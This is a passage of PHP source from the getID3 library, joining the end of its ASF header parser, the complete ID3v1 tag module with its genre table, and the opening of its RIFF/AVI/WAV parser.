						$descriptionRecord['data']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];

						if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) {
							$WMpicture = $this->ASF_WMpicture($descriptionRecord['data']);
							foreach ($WMpicture as $key => $value) {
								$descriptionRecord['data'] = $WMpicture;
							}
							unset($WMpicture);
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Index_Parameters_Object:
					$thisObject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Media_Object_Index_Parameters_Object:
					$thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Timecode_Index_Parameters_Object:
					// 4.11	Timecode Index Parameters Object (mandatory only if TIMECODE index is present in file, 0 or 1)
					// Field name                     Field type   Size (bits)
					// Object ID                      GUID         128             // GUID for the Timecode Index Parameters Object - ASF_Timecode_Index_Parameters_Object
					// Object Size                    QWORD        64              // Specifies the size, in bytes, of the Timecode Index Parameters Object. Valid values are at least 34 bytes.
					// Index Entry Count Interval     DWORD        32              // This value is ignored for the Timecode Index Parameters Object.
					// Index Specifiers Count         WORD         16              // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater.
					// Index Specifiers               array of:    varies          //
					// * Stream Number                WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                   WORD         16              // Specifies the type of index. Values are defined as follows (1 is not a valid value):
					                                                               // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire video frame or the first fragment of a video frame
					                                                               // 3 = Nearest Past Cleanpoint - indexes point to the closest data packet containing an entire video frame (or first fragment of a video frame) that is a key frame.
					                                                               // Nearest Past Media Object is the most common value

					$thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Compatibility_Object:
					$thisObject['profile'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1));
					$offset += 1;

					$thisObject['mode']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1));
					$offset += 1;

					break;

				default:
					$unhandled_sections++;
					if ($this->GUIDname($thisObject['guid_text'])) {
						$this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8));
					}
					break;
			}
			$HeaderExtensionObjectParsed[] = $thisObject;

			$objectOffset += $thisObject['size'];
		}
		return $HeaderExtensionObjectParsed;
	}

	/**
	 * @param int $id
	 *
	 * @return string
	 */
	public static function metadataLibraryObjectDataTypeLookup($id) {
		static $lookup = array(
			0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters
			0x0001 => 'BYTE array',     // The type of the data is implementation-specific
			0x0002 => 'BOOL',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values
			0x0003 => 'DWORD',          // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer
			0x0004 => 'QWORD',          // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer
			0x0005 => 'WORD',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer
			0x0006 => 'GUID',           // The data is 16 bytes long and should be interpreted as a 128-bit GUID
		);
		return (isset($lookup[$id]) ? $lookup[$id] : 'invalid');
	}

	/**
	 * @param string $data
	 *
	 * @return array
	 */
	public function ASF_WMpicture(&$data) {
		//typedef struct _WMPicture{
		//  LPWSTR  pwszMIMEType;
		//  BYTE  bPictureType;
		//  LPWSTR  pwszDescription;
		//  DWORD  dwDataLen;
		//  BYTE*  pbData;
		//} WM_PICTURE;

		$WMpicture = array();

		$offset = 0;
		$WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1));
		$offset += 1;
		$WMpicture['image_type']    = self::WMpictureTypeLookup($WMpicture['image_type_id']);
		$WMpicture['image_size']    = getid3_lib::LittleEndian2Int(substr($data, $offset, 4));
		$offset += 4;

		$WMpicture['image_mime'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_mime'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['image_description'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_description'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['dataoffset'] = $offset;
		$WMpicture['data'] = substr($data, $offset);

		$imageinfo = array();
		$WMpicture['image_mime'] = '';
		$imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo);
		unset($imageinfo);
		if (!empty($imagechunkcheck)) {
			$WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
		}
		if (!isset($this->getid3->info['asf']['comments']['picture'])) {
			$this->getid3->info['asf']['comments']['picture'] = array();
		}
		$this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']);

		return $WMpicture;
	}

	/**
	 * Remove terminator 00 00 and convert UTF-16LE to Latin-1.
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function TrimConvert($string) {
		return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' ');
	}

	/**
	 * Remove terminator 00 00.
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function TrimTerm($string) {
		// remove terminator, only if present (it should be, but...)
		if (substr($string, -2) === "\x00\x00") {
			$string = substr($string, 0, -2);
		}
		return $string;
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.id3v1.php                                        //
// module for analyzing ID3v1 tags                             //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_id3v1 extends getid3_handler
{
	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		if($info['filesize'] < 256) {
			$this->fseek(-128, SEEK_END);
			$preid3v1 = '';
			$id3v1tag = $this->fread(128);
		} else {
			$this->fseek(-256, SEEK_END);
			$preid3v1 = $this->fread(128);
			$id3v1tag = $this->fread(128);
		}


		if (substr($id3v1tag, 0, 3) == 'TAG') {

			$info['avdataend'] = $info['filesize'] - 128;

			$ParsedID3v1            = array();
			$ParsedID3v1['title']   = $this->cutfield(substr($id3v1tag,   3, 30));
			$ParsedID3v1['artist']  = $this->cutfield(substr($id3v1tag,  33, 30));
			$ParsedID3v1['album']   = $this->cutfield(substr($id3v1tag,  63, 30));
			$ParsedID3v1['year']    = $this->cutfield(substr($id3v1tag,  93,  4));
			$ParsedID3v1['comment'] =                 substr($id3v1tag,  97, 30);  // can't remove nulls yet, track detection depends on them
			$ParsedID3v1['genreid'] =             ord(substr($id3v1tag, 127,  1));

			// If second-last byte of comment field is null and last byte of comment field is non-null
			// then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number
			if (($id3v1tag[125] === "\x00") && ($id3v1tag[126] !== "\x00")) {
				$ParsedID3v1['track_number'] = ord(substr($ParsedID3v1['comment'], 29,  1));
				$ParsedID3v1['comment']      =     substr($ParsedID3v1['comment'],  0, 28);
			}
			$ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']);

			$ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']);
			if (!empty($ParsedID3v1['genre'])) {
				unset($ParsedID3v1['genreid']);
			}
			if (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown')) {
				unset($ParsedID3v1['genre']);
			}

			foreach ($ParsedID3v1 as $key => $value) {
				$ParsedID3v1['comments'][$key][0] = $value;
			}
			$ID3v1encoding = $this->getid3->encoding_id3v1;
			if ($this->getid3->encoding_id3v1_autodetect) {
				// ID3v1 encoding detection hack START
				// ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets
				// Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess
				foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (preg_match('#^[\\x00-\\x40\\x80-\\xFF]+$#', $value) && !ctype_digit((string) $value)) { // check for strings with only characters above chr(128) and punctuation/numbers, but not just numeric strings (e.g. track numbers or years)
							foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) {
								if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) {
									$ID3v1encoding = $id3v1_bad_encoding;
									$this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key);
									break 3;
								} elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) {
									$ID3v1encoding = $id3v1_bad_encoding;
									$this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key);
									break 3;
								}
							}
						}
					}
				}
				// ID3v1 encoding detection hack END
			}

			// ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces
			$GoodFormatID3v1tag = $this->GenerateID3v1Tag(
											$ParsedID3v1['title'],
											$ParsedID3v1['artist'],
											$ParsedID3v1['album'],
											$ParsedID3v1['year'],
											(isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false),
											$ParsedID3v1['comment'],
											(!empty($ParsedID3v1['track_number']) ? $ParsedID3v1['track_number'] : ''));
			$ParsedID3v1['padding_valid'] = true;
			if ($id3v1tag !== $GoodFormatID3v1tag) {
				$ParsedID3v1['padding_valid'] = false;
				$this->warning('Some ID3v1 fields do not use NULL characters for padding');
			}

			$ParsedID3v1['tag_offset_end']   = $info['filesize'];
			$ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128;

			$info['id3v1'] = $ParsedID3v1;
			$info['id3v1']['encoding'] = $ID3v1encoding;
		}

		if (substr($preid3v1, 0, 3) == 'TAG') {
			// The way iTunes handles tags is, well, brain-damaged.
			// It completely ignores v1 if ID3v2 is present.
			// This goes as far as adding a new v1 tag *even if there already is one*

			// A suspected double-ID3v1 tag has been detected, but it could be that
			// the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag
			if (substr($preid3v1, 96, 8) == 'APETAGEX') {
				// an APE tag footer was found before the last ID3v1, assume false "TAG" synch
			} elseif (substr($preid3v1, 119, 6) == 'LYRICS') {
				// a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch
			} else {
				// APE and Lyrics3 footers not found - assume double ID3v1
				$this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes');
				$info['avdataend'] -= 128;
			}
		}

		return true;
	}

	/**
	 * @param string $str
	 *
	 * @return string
	 */
	public static function cutfield($str) {
		return trim(substr($str, 0, strcspn($str, "\x00")));
	}

	/**
	 * @param bool $allowSCMPXextended
	 *
	 * @return string[]
	 */
	public static function ArrayOfGenres($allowSCMPXextended=false) {
		static $GenreLookup = array(
			0    => 'Blues',
			1    => 'Classic Rock',
			2    => 'Country',
			3    => 'Dance',
			4    => 'Disco',
			5    => 'Funk',
			6    => 'Grunge',
			7    => 'Hip-Hop',
			8    => 'Jazz',
			9    => 'Metal',
			10   => 'New Age',
			11   => 'Oldies',
			12   => 'Other',
			13   => 'Pop',
			14   => 'R&B',
			15   => 'Rap',
			16   => 'Reggae',
			17   => 'Rock',
			18   => 'Techno',
			19   => 'Industrial',
			20   => 'Alternative',
			21   => 'Ska',
			22   => 'Death Metal',
			23   => 'Pranks',
			24   => 'Soundtrack',
			25   => 'Euro-Techno',
			26   => 'Ambient',
			27   => 'Trip-Hop',
			28   => 'Vocal',
			29   => 'Jazz+Funk',
			30   => 'Fusion',
			31   => 'Trance',
			32   => 'Classical',
			33   => 'Instrumental',
			34   => 'Acid',
			35   => 'House',
			36   => 'Game',
			37   => 'Sound Clip',
			38   => 'Gospel',
			39   => 'Noise',
			40   => 'Alt. Rock',
			41   => 'Bass',
			42   => 'Soul',
			43   => 'Punk',
			44   => 'Space',
			45   => 'Meditative',
			46   => 'Instrumental Pop',
			47   => 'Instrumental Rock',
			48   => 'Ethnic',
			49   => 'Gothic',
			50   => 'Darkwave',
			51   => 'Techno-Industrial',
			52   => 'Electronic',
			53   => 'Pop-Folk',
			54   => 'Eurodance',
			55   => 'Dream',
			56   => 'Southern Rock',
			57   => 'Comedy',
			58   => 'Cult',
			59   => 'Gangsta Rap',
			60   => 'Top 40',
			61   => 'Christian Rap',
			62   => 'Pop/Funk',
			63   => 'Jungle',
			64   => 'Native American',
			65   => 'Cabaret',
			66   => 'New Wave',
			67   => 'Psychedelic',
			68   => 'Rave',
			69   => 'Showtunes',
			70   => 'Trailer',
			71   => 'Lo-Fi',
			72   => 'Tribal',
			73   => 'Acid Punk',
			74   => 'Acid Jazz',
			75   => 'Polka',
			76   => 'Retro',
			77   => 'Musical',
			78   => 'Rock & Roll',
			79   => 'Hard Rock',
			80   => 'Folk',
			81   => 'Folk/Rock',
			82   => 'National Folk',
			83   => 'Swing',
			84   => 'Fast-Fusion',
			85   => 'Bebob',
			86   => 'Latin',
			87   => 'Revival',
			88   => 'Celtic',
			89   => 'Bluegrass',
			90   => 'Avantgarde',
			91   => 'Gothic Rock',
			92   => 'Progressive Rock',
			93   => 'Psychedelic Rock',
			94   => 'Symphonic Rock',
			95   => 'Slow Rock',
			96   => 'Big Band',
			97   => 'Chorus',
			98   => 'Easy Listening',
			99   => 'Acoustic',
			100  => 'Humour',
			101  => 'Speech',
			102  => 'Chanson',
			103  => 'Opera',
			104  => 'Chamber Music',
			105  => 'Sonata',
			106  => 'Symphony',
			107  => 'Booty Bass',
			108  => 'Primus',
			109  => 'Porn Groove',
			110  => 'Satire',
			111  => 'Slow Jam',
			112  => 'Club',
			113  => 'Tango',
			114  => 'Samba',
			115  => 'Folklore',
			116  => 'Ballad',
			117  => 'Power Ballad',
			118  => 'Rhythmic Soul',
			119  => 'Freestyle',
			120  => 'Duet',
			121  => 'Punk Rock',
			122  => 'Drum Solo',
			123  => 'A Cappella',
			124  => 'Euro-House',
			125  => 'Dance Hall',
			126  => 'Goa',
			127  => 'Drum & Bass',
			128  => 'Club-House',
			129  => 'Hardcore',
			130  => 'Terror',
			131  => 'Indie',
			132  => 'BritPop',
			133  => 'Negerpunk',
			134  => 'Polsk Punk',
			135  => 'Beat',
			136  => 'Christian Gangsta Rap',
			137  => 'Heavy Metal',
			138  => 'Black Metal',
			139  => 'Crossover',
			140  => 'Contemporary Christian',
			141  => 'Christian Rock',
			142  => 'Merengue',
			143  => 'Salsa',
			144  => 'Thrash Metal',
			145  => 'Anime',
			146  => 'JPop',
			147  => 'Synthpop',
			148 => 'Abstract',
			149 => 'Art Rock',
			150 => 'Baroque',
			151 => 'Bhangra',
			152 => 'Big Beat',
			153 => 'Breakbeat',
			154 => 'Chillout',
			155 => 'Downtempo',
			156 => 'Dub',
			157 => 'EBM',
			158 => 'Eclectic',
			159 => 'Electro',
			160 => 'Electroclash',
			161 => 'Emo',
			162 => 'Experimental',
			163 => 'Garage',
			164 => 'Global',
			165 => 'IDM',
			166 => 'Illbient',
			167 => 'Industro-Goth',
			168 => 'Jam Band',
			169 => 'Krautrock',
			170 => 'Leftfield',
			171 => 'Lounge',
			172 => 'Math Rock',
			173 => 'New Romantic',
			174 => 'Nu-Breakz',
			175 => 'Post-Punk',
			176 => 'Post-Rock',
			177 => 'Psytrance',
			178 => 'Shoegaze',
			179 => 'Space Rock',
			180 => 'Trop Rock',
			181 => 'World Music',
			182 => 'Neoclassical',
			183 => 'Audiobook',
			184 => 'Audio Theatre',
			185 => 'Neue Deutsche Welle',
			186 => 'Podcast',
			187 => 'Indie-Rock',
			188 => 'G-Funk',
			189 => 'Dubstep',
			190 => 'Garage Rock',
			191 => 'Psybient',

			255  => 'Unknown',

			'CR' => 'Cover',
			'RX' => 'Remix'
		);

		static $GenreLookupSCMPX = array();
		if ($allowSCMPXextended && empty($GenreLookupSCMPX)) {
			$GenreLookupSCMPX = $GenreLookup;
			// http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
			// Extended ID3v1 genres invented by SCMPX
			// Note that 255 "Japanese Anime" conflicts with standard "Unknown"
			$GenreLookupSCMPX[240] = 'Sacred';
			$GenreLookupSCMPX[241] = 'Northern Europe';
			$GenreLookupSCMPX[242] = 'Irish & Scottish';
			$GenreLookupSCMPX[243] = 'Scotland';
			$GenreLookupSCMPX[244] = 'Ethnic Europe';
			$GenreLookupSCMPX[245] = 'Enka';
			$GenreLookupSCMPX[246] = 'Children\'s Song';
			$GenreLookupSCMPX[247] = 'Japanese Sky';
			$GenreLookupSCMPX[248] = 'Japanese Heavy Rock';
			$GenreLookupSCMPX[249] = 'Japanese Doom Rock';
			$GenreLookupSCMPX[250] = 'Japanese J-POP';
			$GenreLookupSCMPX[251] = 'Japanese Seiyu';
			$GenreLookupSCMPX[252] = 'Japanese Ambient Techno';
			$GenreLookupSCMPX[253] = 'Japanese Moemoe';
			$GenreLookupSCMPX[254] = 'Japanese Tokusatsu';
			//$GenreLookupSCMPX[255] = 'Japanese Anime';
		}

		return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup);
	}

	/**
	 * @param string $genreid
	 * @param bool   $allowSCMPXextended
	 *
	 * @return string|false
	 */
	public static function LookupGenreName($genreid, $allowSCMPXextended=true) {
		switch ($genreid) {
			case 'RX':
			case 'CR':
				break;
			default:
				if (!is_numeric($genreid)) {
					return false;
				}
				$genreid = intval($genreid); // to handle 3 or '3' or '03'
				break;
		}
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false);
	}

	/**
	 * @param string $genre
	 * @param bool   $allowSCMPXextended
	 *
	 * @return string|false
	 */
	public static function LookupGenreID($genre, $allowSCMPXextended=false) {
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		$LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre));
		foreach ($GenreLookup as $key => $value) {
			if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) {
				return $key;
			}
		}
		return false;
	}

	/**
	 * @param string $OriginalGenre
	 *
	 * @return string|false
	 */
	public static function StandardiseID3v1GenreName($OriginalGenre) {
		if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) {
			return self::LookupGenreName($GenreID);
		}
		return $OriginalGenre;
	}

	/**
	 * @param string     $title
	 * @param string     $artist
	 * @param string     $album
	 * @param string     $year
	 * @param int        $genreid
	 * @param string     $comment
	 * @param int|string $track
	 *
	 * @return string
	 */
	public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') {
		$ID3v1Tag  = 'TAG';
		$ID3v1Tag .= str_pad(trim(substr($title,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($album,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($year,   0,  4)),  4, "\x00", STR_PAD_LEFT);
		if (!empty($track) && ($track > 0) && ($track <= 255)) {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT);
			$ID3v1Tag .= "\x00";
			if (gettype($track) == 'string') {
				$track = (int) $track;
			}
			$ID3v1Tag .= chr($track);
		} else {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		}
		if (($genreid < 0) || ($genreid > 147)) {
			$genreid = 255; // 'unknown' genre
		}
		switch (gettype($genreid)) {
			case 'string':
			case 'integer':
				$ID3v1Tag .= chr(intval($genreid));
				break;
			default:
				$ID3v1Tag .= chr(255); // 'unknown' genre
				break;
		}

		return $ID3v1Tag;
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.riff.php                                 //
// module for analyzing RIFF files                             //
// multiple formats supported by this module:                  //
//    Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX   //
// dependencies: module.audio.mp3.php                          //
//               module.audio.ac3.php                          //
//               module.audio.dts.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

/**
* @todo Parse AC-3/DTS audio inside WAVE correctly
* @todo Rewrite RIFF parser totally
*/

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true);

class getid3_riff extends getid3_handler
{
	protected $container = 'riff'; // default

	/**
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// initialize these values to an empty array, otherwise they default to NULL
		// and you can't append array values to a NULL value
		$info['riff'] = array('raw'=>array());

		// Shortcuts
		$thisfile_riff             = &$info['riff'];
		$thisfile_riff_raw         = &$thisfile_riff['raw'];
		$thisfile_audio            = &$info['audio'];
		$thisfile_video            = &$info['video'];
		$thisfile_audio_dataformat = &$thisfile_audio['dataformat'];
		$thisfile_riff_audio       = &$thisfile_riff['audio'];
		$thisfile_riff_video       = &$thisfile_riff['video'];
		$thisfile_riff_WAVE        = array();

		$Original                 = array();
		$Original['avdataoffset'] = $info['avdataoffset'];
		$Original['avdataend']    = $info['avdataend'];

		$this->fseek($info['avdataoffset']);
		$RIFFheader = $this->fread(12);
		$offset = $this->ftell();
		$RIFFtype    = substr($RIFFheader, 0, 4);
		$RIFFsize    = substr($RIFFheader, 4, 4);
		$RIFFsubtype = substr($RIFFheader, 8, 4);

		switch ($RIFFtype) {

			case 'FORM':  // AIFF, AIFC
				//$info['fileformat']   = 'aiff';
				$this->container = 'aiff';
				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
				$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				break;

			case 'RIFF':  // AVI, WAV, etc
			case 'SDSS':  // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com)
			case 'RMP3':  // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s
				//$info['fileformat']   = 'riff';
				$this->container = 'riff';
				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
				if ($RIFFsubtype == 'RMP3') {
					// RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s
					$RIFFsubtype = 'WAVE';
				}
				if ($RIFFsubtype != 'AMV ') {
					// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
					// Handled separately in ParseRIFFAMV()
					$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				}
				if (($info['avdataend'] - $info['filesize']) == 1) {
					// LiteWave appears to incorrectly *not* pad actual output file
					// to nearest WORD boundary so may appear to be short by one
					// byte, in which case - skip warning
					$info['avdataend'] = $info['filesize'];
				}

				$nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset
				while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) {
					try {
						$this->fseek($nextRIFFoffset);
					} catch (getid3_exception $e) {
						if ($e->getCode() == 10) {
							//$this->warning('RIFF parser: '.$e->getMessage());
							$this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong');
							$this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present');
							break;
						} else {
							throw $e;
						}
					}
					$nextRIFFheader = $this->fread(12);
					if ($nextRIFFoffset == ($info['avdataend'] - 1)) {
						if (substr($nextRIFFheader, 0, 1) == "\x00") {
							// RIFF padded to WORD boundary, we're actually already at the end
							break;
						}
					}
					$nextRIFFheaderID =                         substr($nextRIFFheader, 0, 4);
					$nextRIFFsize     = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4));
					$nextRIFFtype     =                         substr($nextRIFFheader, 8, 4);
					$chunkdata = array();
					$chunkdata['offset'] = $nextRIFFoffset + 8;
					$chunkdata['size']   = $nextRIFFsize;
					$nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size'];

					switch ($nextRIFFheaderID) {
						case 'RIFF':
							$chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset);
							if (!isset($thisfile_riff[$nextRIFFtype])) {
								$thisfile_riff[$nextRIFFtype] = array();
							}
							$thisfile_riff[$nextRIFFtype][] = $chunkdata;
							break;

						case 'AMV ':
							unset($info['riff']);
							$info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset);
							break;

						case 'JUNK':
							// ignore
							$thisfile_riff[$nextRIFFheaderID][] = $chunkdata;
							break;

						case 'IDVX':
							$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size']));
							break;

						default:
							if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) {
								$DIVXTAG = $nextRIFFheader.$this->fread(128 - 12);
								if (substr($DIVXTAG, -7) == 'DIVXTAG') {
									// DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
									$this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway');
									$info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG);
									break 2;
								}
							}
							$this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file');
							break 2;

					}

				}
				if ($RIFFsubtype == 'WAVE') {
